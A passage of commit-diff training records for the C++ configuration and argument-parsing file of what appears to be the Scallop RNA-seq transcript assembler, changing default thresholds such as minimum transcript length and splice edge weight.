\"--min_transcript_length\")\n\t\t{\n\t\t\tmin_transcript_length = atoi(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--max_split_error_ratio\")\n\t\t{\n\t\t\tmax_split_error_ratio = atof(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--max_decompose_error_ratio\")\n\t\t{\n\t\t\tmax_decompose_error_ratio = atof(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--min_removable_weight\")\n\t\t{\n\t\t\tmin_removable_weight = atof(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--extend_isolated_boundary\")\n\t\t{\n\t\t\tstring s(argv[i + 1]);\n\t\t\tif(s == \"true\") extend_isolated_boundary = true;\n\t\t\telse extend_isolated_boundary = false;\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--min_boundary_length\")\n\t\t{\n\t\t\tmin_boundary_length = atoi(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--min_boundary_score\")\n\t\t{\n\t\t\tmin_boundary_score = atoi(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--min_boundary_ave_ratio\")\n\t\t{\n\t\t\tmin_boundary_ave_ratio = atof(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--min_boundary_sigma\")\n\t\t{\n\t\t\tmin_boundary_sigma = atof(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--max_dp_table_size\")\n\t\t{\n\t\t\tmax_dp_table_size = atoi(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--min_router_count\")\n\t\t{\n\t\t\tmin_router_count = atoi(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--strand_reverse\")\n\t\t{\n\t\t\tstring s(argv[i + 1]);\n\t\t\tif(s == \"true\") strand_reverse = true;\n\t\t\telse strand_reverse = false;\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--use_second_alignment\")\n\t\t{\n\t\t\tstring s(argv[i + 1]);\n\t\t\tif(s == \"true\") use_second_alignment = true;\n\t\t\telse use_second_alignment = false;\n\t\t\ti++;\n\t\t}\n\t}\n\n\t\/\/ TODO\n\tmin_splice_edge_weight = min_transcript_coverage;\n\n\treturn 0;\n}\n<commit_msg>change default min transcript length to 500<commit_after>#include \"config.h\"\n#include <cstdlib>\n#include <iostream>\n#include <string>\n#include <fstream>\n#include <sstream>\n#include <cstring>\n\nusing namespace std;\n\n\/\/\/\/ parameters\n\/\/ for bam file and reads\nint min_flank_length = 5;\nint32_t min_bundle_gap = 50;\nint min_num_hits_in_bundle = 20;\nuint32_t min_mapping_quality = 1;\nint32_t min_splice_boundary_hits = 1;\nbool use_second_alignment = false;\nbool strand_reverse = false;\n\n\/\/ for identifying subgraphs\ndouble max_indel_ratio = 0.2;\ndouble min_subregion_overlap = 2;\nint32_t min_subregion_gap = 3;\nint32_t min_subregion_length = 15;\n\n\/\/ for revising splice graph\ndouble min_inner_vertex_weight = 10;\ndouble min_inner_boundary_weight = 4.0;\ndouble min_splice_edge_weight = 0.5;\nbool extend_isolated_boundary = true;\n\n\/\/ for decomposing splice graph\ndouble max_split_error_ratio = 0.25;\ndouble max_decompose_error_ratio = 0.01;\ndouble min_removable_weight = 5.0;\n\n\/\/ for selecting paths\ndouble min_transcript_coverage = 1.5;\nint min_transcript_length = 500;\n\n\/\/ for identifying new boundaries\nbool identify_extra_boundary = false;\nint min_boundary_length = 80;\nint min_boundary_score = 100;\ndouble min_boundary_ave_ratio = 3.0;\ndouble min_boundary_sigma = 5.0;\n\n\/\/ for subsetsum and router\nint max_dp_table_size = 10000;\nint min_router_count = 1;\n\n\/\/ for simulation\nint simulation_num_vertices = 0;\nint simulation_num_edges = 0;\nint simulation_max_edge_weight = 0;\n\n\/\/ input and output\nstring algo = \"scallop\";\nstring input_file;\nstring ref_file;\nstring ref_file1;\nstring ref_file2;\nstring output_file;\n\n\/\/ for controling\nint32_t average_read_length = 100;\nbool output_tex_files = false;\nstring fixed_gene_name = \"\";\n\nint print_parameters()\n{\n\tprintf(\"parameters:\\n\");\n\n\t\/\/ for bam file and reads\n\tprintf(\"min_flank_length = %d\\n\", min_flank_length);\n\tprintf(\"min_bundle_gap = %d\\n\", min_bundle_gap);\n\tprintf(\"min_num_hits_in_bundle = %d\\n\", min_num_hits_in_bundle);\n\tprintf(\"min_mapping_quality = %d\\n\", min_mapping_quality);\n\tprintf(\"min_splice_boundary_hits = %d\\n\", min_splice_boundary_hits);\n\n\t\/\/ for identifying subgraphs\n\tprintf(\"max_indel_ratio = %.2lf\\n\", max_indel_ratio);\n\tprintf(\"min_subregion_gap = %d\\n\", min_subregion_gap);\n\tprintf(\"min_subregion_length = %d\\n\", min_subregion_length);\n\tprintf(\"min_subregion_overlap = %.2lf\\n\", min_subregion_overlap);\n\n\t\/\/ for splice graph\n\tprintf(\"min_splice_edge_weight = %.2lf\\n\", min_splice_edge_weight);\n\tprintf(\"min_inner_vertex_weight = %.2lf\\n\", min_inner_vertex_weight);\n\tprintf(\"min_inner_boundary_weight = %.2lf\\n\", min_inner_boundary_weight);\n\tprintf(\"min_transcript_coverage = %.2lf\\n\", min_transcript_coverage);\n\tprintf(\"min_transcript_length = %d\\n\", min_transcript_length);\n\tprintf(\"max_split_error_ratio = %.2lf\\n\", max_split_error_ratio);\n\tprintf(\"max_decompose_error_ratio = %.2lf\\n\", max_decompose_error_ratio);\n\tprintf(\"min_removable_weight = %.2lf\\n\", min_removable_weight);\n\tprintf(\"extend_isolated_bounary = %c\\n\", extend_isolated_boundary ? 'T' : 'F');\n\n\t\/\/ for identifying new boundaries\n\tprintf(\"identify_extra_boundary = %c\\n\", identify_extra_boundary ? 'T' : 'F');\n\tprintf(\"min_boundary_length = %d\\n\", min_boundary_length);\n\tprintf(\"min_boundary_score = %d\\n\", min_boundary_score);\n\tprintf(\"min_boundary_ave_ratio = %.2lf\\n\", min_boundary_ave_ratio);\n\tprintf(\"min_boundary_signma = %.2lf\\n\", min_boundary_sigma);\n\n\t\/\/ for subsetsum and router\n\tprintf(\"max_dp_table_size = %d\\n\", max_dp_table_size);\n\tprintf(\"min_router_count = %d\\n\", min_router_count);\n\n\t\/\/ for simulation\n\tprintf(\"simulation_num_vertices = %d\\n\", simulation_num_vertices);\n\tprintf(\"simulation_num_edges = %d\\n\", simulation_num_edges);\n\tprintf(\"simulation_max_edge_weight = %d\\n\", simulation_max_edge_weight);\n\n\t\/\/ for input and output\n\tprintf(\"algo = %s\\n\", algo.c_str());\n\tprintf(\"input_file = %s\\n\", input_file.c_str());\n\tprintf(\"ref_file = %s\\n\", ref_file.c_str());\n\tprintf(\"ref_file1 = %s\\n\", ref_file1.c_str());\n\tprintf(\"ref_file2 = %s\\n\", ref_file2.c_str());\n\tprintf(\"output_file = %s\\n\", output_file.c_str());\n\n\t\/\/ for controling\n\tprintf(\"average_read_length = %d\\n\", average_read_length);\n\tprintf(\"strand_reverse = %c\\n\", strand_reverse ? 'T' : 'F');\n\tprintf(\"output_tex_files = %c\\n\", output_tex_files ? 'T' : 'F');\n\tprintf(\"fixed_gene_name = %s\\n\", fixed_gene_name.c_str());\n\tprintf(\"use_second_alignment = %c\\n\", use_second_alignment ? 'T' : 'F');\n\n\tprintf(\"\\n\");\n\n\treturn 0;\n}\n\nint print_command_line(int argc, const char ** argv)\n{\n\tprintf(\"command line: \");\n\tfor(int i = 0; i < argc; i++)\n\t{\n\t\tprintf(\"%s \", argv[i]);\n\t}\n\tprintf(\"\\n\");\n\treturn 0;\n}\n\nint parse_arguments(int argc, const char ** argv)\n{\n\tfor(int i = 1; i < argc; i++)\n\t{\n\t\t\/\/ necessary ones\n\t\tif(string(argv[i]) == \"-i\")\n\t\t{\n\t\t\tinput_file = string(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"-o\")\n\t\t{\n\t\t\toutput_file = string(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\n\t\t\/\/ internal use\n\t\telse if(string(argv[i]) == \"-a\")\n\t\t{\n\t\t\talgo = string(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"-r\")\n\t\t{\n\t\t\tref_file = string(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"-r1\")\n\t\t{\n\t\t\tref_file1 = string(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"-r2\")\n\t\t{\n\t\t\tref_file2 = string(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"-g\")\n\t\t{\n\t\t\tfixed_gene_name = string(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"-t\")\n\t\t{\n\t\t\toutput_tex_files = true;\n\t\t}\n\n\t\t\/\/ user specified\n\t\telse if(string(argv[i]) == \"--min_flank_length\")\n\t\t{\n\t\t\tmin_flank_length = atoi(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--min_bundle_gap\")\n\t\t{\n\t\t\tmin_bundle_gap = atoi(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--min_num_hits_in_bundle\")\n\t\t{\n\t\t\tmin_num_hits_in_bundle = atoi(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--min_mapping_quality\")\n\t\t{\n\t\t\tmin_mapping_quality = atoi(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--min_splice_boundary_hits\")\n\t\t{\n\t\t\tmin_splice_boundary_hits = atoi(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--max_indel_ratio\")\n\t\t{\n\t\t\tmax_indel_ratio = atof(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--min_subregion_gap\")\n\t\t{\n\t\t\tmin_subregion_gap = atoi(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--min_subregion_length\")\n\t\t{\n\t\t\tmin_subregion_length = atoi(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--min_subregion_overlap\")\n\t\t{\n\t\t\tmin_subregion_overlap = atof(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--identify_extra_boundary\")\n\t\t{\n\t\t\tstring s(argv[i + 1]);\n\t\t\tif(s == \"true\") identify_extra_boundary = true;\n\t\t\telse identify_extra_boundary = false;\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--min_splice_edge_weight\")\n\t\t{\n\t\t\tmin_splice_edge_weight = atof(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--min_inner_vertex_weight\")\n\t\t{\n\t\t\tmin_inner_vertex_weight = atof(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--min_inner_boundary_weight\")\n\t\t{\n\t\t\tmin_inner_boundary_weight = atof(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--min_transcript_coverage\")\n\t\t{\n\t\t\tmin_transcript_coverage = atof(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--min_transcript_length\")\n\t\t{\n\t\t\tmin_transcript_length = atoi(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--max_split_error_ratio\")\n\t\t{\n\t\t\tmax_split_error_ratio = atof(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--max_decompose_error_ratio\")\n\t\t{\n\t\t\tmax_decompose_error_ratio = atof(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--min_removable_weight\")\n\t\t{\n\t\t\tmin_removable_weight = atof(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--extend_isolated_boundary\")\n\t\t{\n\t\t\tstring s(argv[i + 1]);\n\t\t\tif(s == \"true\") extend_isolated_boundary = true;\n\t\t\telse extend_isolated_boundary = false;\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--min_boundary_length\")\n\t\t{\n\t\t\tmin_boundary_length = atoi(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--min_boundary_score\")\n\t\t{\n\t\t\tmin_boundary_score = atoi(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--min_boundary_ave_ratio\")\n\t\t{\n\t\t\tmin_boundary_ave_ratio = atof(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--min_boundary_sigma\")\n\t\t{\n\t\t\tmin_boundary_sigma = atof(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--max_dp_table_size\")\n\t\t{\n\t\t\tmax_dp_table_size = atoi(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--min_router_count\")\n\t\t{\n\t\t\tmin_router_count = atoi(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--strand_reverse\")\n\t\t{\n\t\t\tstring s(argv[i + 1]);\n\t\t\tif(s == \"true\") strand_reverse = true;\n\t\t\telse strand_reverse = false;\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--use_second_alignment\")\n\t\t{\n\t\t\tstring s(argv[i + 1]);\n\t\t\tif(s == \"true\") use_second_alignment = true;\n\t\t\telse use_second_alignment = false;\n\t\t\ti++;\n\t\t}\n\t}\n\n\t\/\/ TODO\n\t\/\/min_splice_edge_weight = min_transcript_coverage;\n\n\treturn 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"config.h\"\n#include <cstdlib>\n#include <iostream>\n#include <string>\n#include <fstream>\n#include <sstream>\n#include <cstring>\n\nusing namespace std;\n\n\/\/\/\/ parameters\n\/\/ for bam file and reads\nint min_flank_length = 5;\nint32_t min_bundle_gap = 50;\nint min_num_hits_in_bundle = 20;\nuint32_t min_mapping_quality = 1;\nint32_t min_splice_boundary_hits = 1;\nbool use_second_alignment = false;\nint library_type = UNSTRAND;\n\n\/\/ for identifying subgraphs\ndouble max_indel_ratio = 0.2;\ndouble min_subregion_overlap = 2;\nint32_t min_subregion_gap = 3;\nint32_t min_subregion_length = 15;\n\n\/\/ for revising splice graph\ndouble min_inner_vertex_weight = 10;\ndouble min_inner_boundary_weight = 4.0;\ndouble min_splice_edge_weight = 2.5;\nbool extend_isolated_boundary = true;\n\n\/\/ for decomposing splice graph\ndouble max_split_error_ratio = 0.25;\ndouble max_decompose_error_ratio = 0.01;\n\n\/\/ for selecting paths\ndouble min_transcript_coverage = 0.9;\ndouble min_transcript_numreads = 20;\nint min_transcript_length = 200;\n\n\/\/ for identifying new boundaries\nbool identify_extra_boundary = false;\nint min_boundary_length = 80;\nint min_boundary_score = 100;\ndouble min_boundary_ave_ratio = 3.0;\ndouble min_boundary_sigma = 5.0;\n\n\/\/ for subsetsum and router\nint max_dp_table_size = 10000;\nint min_router_count = 1;\n\n\/\/ for simulation\nint simulation_num_vertices = 0;\nint simulation_num_edges = 0;\nint simulation_max_edge_weight = 0;\n\n\/\/ input and output\nstring algo = \"scallop\";\nstring input_file;\nstring ref_file;\nstring ref_file1;\nstring ref_file2;\nstring output_file;\n\n\/\/ for controling\nint32_t average_read_length = 100;\nbool output_tex_files = false;\nstring fixed_gene_name = \"\";\n\nint print_parameters()\n{\n\tprintf(\"parameters:\\n\");\n\n\t\/\/ for bam file and reads\n\tprintf(\"min_flank_length = %d\\n\", min_flank_length);\n\tprintf(\"min_bundle_gap = %d\\n\", min_bundle_gap);\n\tprintf(\"min_num_hits_in_bundle = %d\\n\", min_num_hits_in_bundle);\n\tprintf(\"min_mapping_quality = %d\\n\", min_mapping_quality);\n\tprintf(\"min_splice_boundary_hits = %d\\n\", min_splice_boundary_hits);\n\n\t\/\/ for identifying subgraphs\n\tprintf(\"max_indel_ratio = %.2lf\\n\", max_indel_ratio);\n\tprintf(\"min_subregion_gap = %d\\n\", min_subregion_gap);\n\tprintf(\"min_subregion_length = %d\\n\", min_subregion_length);\n\tprintf(\"min_subregion_overlap = %.2lf\\n\", min_subregion_overlap);\n\n\t\/\/ for splice graph\n\tprintf(\"min_splice_edge_weight = %.2lf\\n\", min_splice_edge_weight);\n\tprintf(\"min_inner_vertex_weight = %.2lf\\n\", min_inner_vertex_weight);\n\tprintf(\"min_inner_boundary_weight = %.2lf\\n\", min_inner_boundary_weight);\n\tprintf(\"min_transcript_coverage = %.2lf\\n\", min_transcript_coverage);\n\tprintf(\"min_transcript_numreads = %.2lf\\n\", min_transcript_numreads);\n\tprintf(\"min_transcript_length = %d\\n\", min_transcript_length);\n\tprintf(\"max_split_error_ratio = %.2lf\\n\", max_split_error_ratio);\n\tprintf(\"max_decompose_error_ratio = %.2lf\\n\", max_decompose_error_ratio);\n\tprintf(\"extend_isolated_bounary = %c\\n\", extend_isolated_boundary ? 'T' : 'F');\n\n\t\/\/ for identifying new boundaries\n\tprintf(\"identify_extra_boundary = %c\\n\", identify_extra_boundary ? 'T' : 'F');\n\tprintf(\"min_boundary_length = %d\\n\", min_boundary_length);\n\tprintf(\"min_boundary_score = %d\\n\", min_boundary_score);\n\tprintf(\"min_boundary_ave_ratio = %.2lf\\n\", min_boundary_ave_ratio);\n\tprintf(\"min_boundary_signma = %.2lf\\n\", min_boundary_sigma);\n\n\t\/\/ for subsetsum and router\n\tprintf(\"max_dp_table_size = %d\\n\", max_dp_table_size);\n\tprintf(\"min_router_count = %d\\n\", min_router_count);\n\n\t\/\/ for simulation\n\tprintf(\"simulation_num_vertices = %d\\n\", simulation_num_vertices);\n\tprintf(\"simulation_num_edges = %d\\n\", simulation_num_edges);\n\tprintf(\"simulation_max_edge_weight = %d\\n\", simulation_max_edge_weight);\n\n\t\/\/ for input and output\n\tprintf(\"algo = %s\\n\", algo.c_str());\n\tprintf(\"input_file = %s\\n\", input_file.c_str());\n\tprintf(\"ref_file = %s\\n\", ref_file.c_str());\n\tprintf(\"ref_file1 = %s\\n\", ref_file1.c_str());\n\tprintf(\"ref_file2 = %s\\n\", ref_file2.c_str());\n\tprintf(\"output_file = %s\\n\", output_file.c_str());\n\n\t\/\/ for controling\n\tprintf(\"average_read_length = %d\\n\", average_read_length);\n\tprintf(\"library_type = %d\\n\", library_type);\n\tprintf(\"output_tex_files = %c\\n\", output_tex_files ? 'T' : 'F');\n\tprintf(\"fixed_gene_name = %s\\n\", fixed_gene_name.c_str());\n\tprintf(\"use_second_alignment = %c\\n\", use_second_alignment ? 'T' : 'F');\n\n\tprintf(\"\\n\");\n\n\treturn 0;\n}\n\nint print_command_line(int argc, const char ** argv)\n{\n\tprintf(\"command line: \");\n\tfor(int i = 0; i < argc; i++)\n\t{\n\t\tprintf(\"%s \", argv[i]);\n\t}\n\tprintf(\"\\n\");\n\treturn 0;\n}\n\nint parse_arguments(int argc, const char ** argv)\n{\n\tfor(int i = 1; i < argc; i++)\n\t{\n\t\t\/\/ necessary ones\n\t\tif(string(argv[i]) == \"-i\")\n\t\t{\n\t\t\tinput_file = string(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"-o\")\n\t\t{\n\t\t\toutput_file = string(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\n\t\t\/\/ internal use\n\t\telse if(string(argv[i]) == \"-a\")\n\t\t{\n\t\t\talgo = string(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"-r\")\n\t\t{\n\t\t\tref_file = string(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"-r1\")\n\t\t{\n\t\t\tref_file1 = string(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"-r2\")\n\t\t{\n\t\t\tref_file2 = string(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"-g\")\n\t\t{\n\t\t\tfixed_gene_name = string(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"-t\")\n\t\t{\n\t\t\toutput_tex_files = true;\n\t\t}\n\n\t\t\/\/ user specified\n\t\telse if(string(argv[i]) == \"--min_flank_length\")\n\t\t{\n\t\t\tmin_flank_length = atoi(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--min_bundle_gap\")\n\t\t{\n\t\t\tmin_bundle_gap = atoi(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--min_num_hits_in_bundle\")\n\t\t{\n\t\t\tmin_num_hits_in_bundle = atoi(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--min_mapping_quality\")\n\t\t{\n\t\t\tmin_mapping_quality = atoi(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--min_splice_boundary_hits\")\n\t\t{\n\t\t\tmin_splice_boundary_hits = atoi(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--max_indel_ratio\")\n\t\t{\n\t\t\tmax_indel_ratio = atof(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--min_subregion_gap\")\n\t\t{\n\t\t\tmin_subregion_gap = atoi(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--min_subregion_length\")\n\t\t{\n\t\t\tmin_subregion_length = atoi(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--min_subregion_overlap\")\n\t\t{\n\t\t\tmin_subregion_overlap = atof(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--identify_extra_boundary\")\n\t\t{\n\t\t\tstring s(argv[i + 1]);\n\t\t\tif(s == \"true\") identify_extra_boundary = true;\n\t\t\telse identify_extra_boundary = false;\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--min_splice_edge_weight\")\n\t\t{\n\t\t\tmin_splice_edge_weight = atof(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--min_inner_vertex_weight\")\n\t\t{\n\t\t\tmin_inner_vertex_weight = atof(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--min_inner_boundary_weight\")\n\t\t{\n\t\t\tmin_inner_boundary_weight = atof(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--min_transcript_coverage\")\n\t\t{\n\t\t\tmin_transcript_coverage = atof(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--min_transcript_numreads\")\n\t\t{\n\t\t\tmin_transcript_numreads = atof(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--min_transcript_length\")\n\t\t{\n\t\t\tmin_transcript_length = atoi(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--max_split_error_ratio\")\n\t\t{\n\t\t\tmax_split_error_ratio = atof(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--max_decompose_error_ratio\")\n\t\t{\n\t\t\tmax_decompose_error_ratio = atof(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--extend_isolated_boundary\")\n\t\t{\n\t\t\tstring s(argv[i + 1]);\n\t\t\tif(s == \"true\") extend_isolated_boundary = true;\n\t\t\telse extend_isolated_boundary = false;\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--min_boundary_length\")\n\t\t{\n\t\t\tmin_boundary_length = atoi(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--min_boundary_score\")\n\t\t{\n\t\t\tmin_boundary_score = atoi(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--min_boundary_ave_ratio\")\n\t\t{\n\t\t\tmin_boundary_ave_ratio = atof(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--min_boundary_sigma\")\n\t\t{\n\t\t\tmin_boundary_sigma = atof(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--max_dp_table_size\")\n\t\t{\n\t\t\tmax_dp_table_size = atoi(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--min_router_count\")\n\t\t{\n\t\t\tmin_router_count = atoi(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--library_type\")\n\t\t{\n\t\t\tstring s(argv[i + 1]);\n\t\t\tif(s == \"unstrand\") library_type = UNSTRAND;\n\t\t\tif(s == \"first\") library_type = FR_FIRST;\n\t\t\tif(s == \"second\") library_type = FR_SECOND;\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--use_second_alignment\")\n\t\t{\n\t\t\tstring s(argv[i + 1]);\n\t\t\tif(s == \"true\") use_second_alignment = true;\n\t\t\telse use_second_alignment = false;\n\t\t\ti++;\n\t\t}\n\t}\n\n\t\/\/ TODO\n\t\/\/min_splice_edge_weight = min_transcript_coverage;\n\n\treturn 0;\n}\n<commit_msg>use 1.5 for min_splice_edge_weight<commit_after>#include \"config.h\"\n#include <cstdlib>\n#include <iostream>\n#include <string>\n#include <fstream>\n#include <sstream>\n#include <cstring>\n\nusing namespace std;\n\n\/\/\/\/ parameters\n\/\/ for bam file and reads\nint min_flank_length = 5;\nint32_t min_bundle_gap = 50;\nint min_num_hits_in_bundle = 20;\nuint32_t min_mapping_quality = 1;\nint32_t min_splice_boundary_hits = 1;\nbool use_second_alignment = false;\nint library_type = UNSTRAND;\n\n\/\/ for identifying subgraphs\ndouble max_indel_ratio = 0.2;\ndouble min_subregion_overlap = 2;\nint32_t min_subregion_gap = 3;\nint32_t min_subregion_length = 15;\n\n\/\/ for revising splice graph\ndouble min_inner_vertex_weight = 10;\ndouble min_inner_boundary_weight = 4.0;\ndouble min_splice_edge_weight = 1.5;\nbool extend_isolated_boundary = true;\n\n\/\/ for decomposing splice graph\ndouble max_split_error_ratio = 0.25;\ndouble max_decompose_error_ratio = 0.01;\n\n\/\/ for selecting paths\ndouble min_transcript_coverage = 0.9;\ndouble min_transcript_numreads = 20;\nint min_transcript_length = 200;\n\n\/\/ for identifying new boundaries\nbool identify_extra_boundary = false;\nint min_boundary_length = 80;\nint min_boundary_score = 100;\ndouble min_boundary_ave_ratio = 3.0;\ndouble min_boundary_sigma = 5.0;\n\n\/\/ for subsetsum and router\nint max_dp_table_size = 10000;\nint min_router_count = 1;\n\n\/\/ for simulation\nint simulation_num_vertices = 0;\nint simulation_num_edges = 0;\nint simulation_max_edge_weight = 0;\n\n\/\/ input and output\nstring algo = \"scallop\";\nstring input_file;\nstring ref_file;\nstring ref_file1;\nstring ref_file2;\nstring output_file;\n\n\/\/ for controling\nint32_t average_read_length = 100;\nbool output_tex_files = false;\nstring fixed_gene_name = \"\";\n\nint print_parameters()\n{\n\tprintf(\"parameters:\\n\");\n\n\t\/\/ for bam file and reads\n\tprintf(\"min_flank_length = %d\\n\", min_flank_length);\n\tprintf(\"min_bundle_gap = %d\\n\", min_bundle_gap);\n\tprintf(\"min_num_hits_in_bundle = %d\\n\", min_num_hits_in_bundle);\n\tprintf(\"min_mapping_quality = %d\\n\", min_mapping_quality);\n\tprintf(\"min_splice_boundary_hits = %d\\n\", min_splice_boundary_hits);\n\n\t\/\/ for identifying subgraphs\n\tprintf(\"max_indel_ratio = %.2lf\\n\", max_indel_ratio);\n\tprintf(\"min_subregion_gap = %d\\n\", min_subregion_gap);\n\tprintf(\"min_subregion_length = %d\\n\", min_subregion_length);\n\tprintf(\"min_subregion_overlap = %.2lf\\n\", min_subregion_overlap);\n\n\t\/\/ for splice graph\n\tprintf(\"min_splice_edge_weight = %.2lf\\n\", min_splice_edge_weight);\n\tprintf(\"min_inner_vertex_weight = %.2lf\\n\", min_inner_vertex_weight);\n\tprintf(\"min_inner_boundary_weight = %.2lf\\n\", min_inner_boundary_weight);\n\tprintf(\"min_transcript_coverage = %.2lf\\n\", min_transcript_coverage);\n\tprintf(\"min_transcript_numreads = %.2lf\\n\", min_transcript_numreads);\n\tprintf(\"min_transcript_length = %d\\n\", min_transcript_length);\n\tprintf(\"max_split_error_ratio = %.2lf\\n\", max_split_error_ratio);\n\tprintf(\"max_decompose_error_ratio = %.2lf\\n\", max_decompose_error_ratio);\n\tprintf(\"extend_isolated_bounary = %c\\n\", extend_isolated_boundary ? 'T' : 'F');\n\n\t\/\/ for identifying new boundaries\n\tprintf(\"identify_extra_boundary = %c\\n\", identify_extra_boundary ? 'T' : 'F');\n\tprintf(\"min_boundary_length = %d\\n\", min_boundary_length);\n\tprintf(\"min_boundary_score = 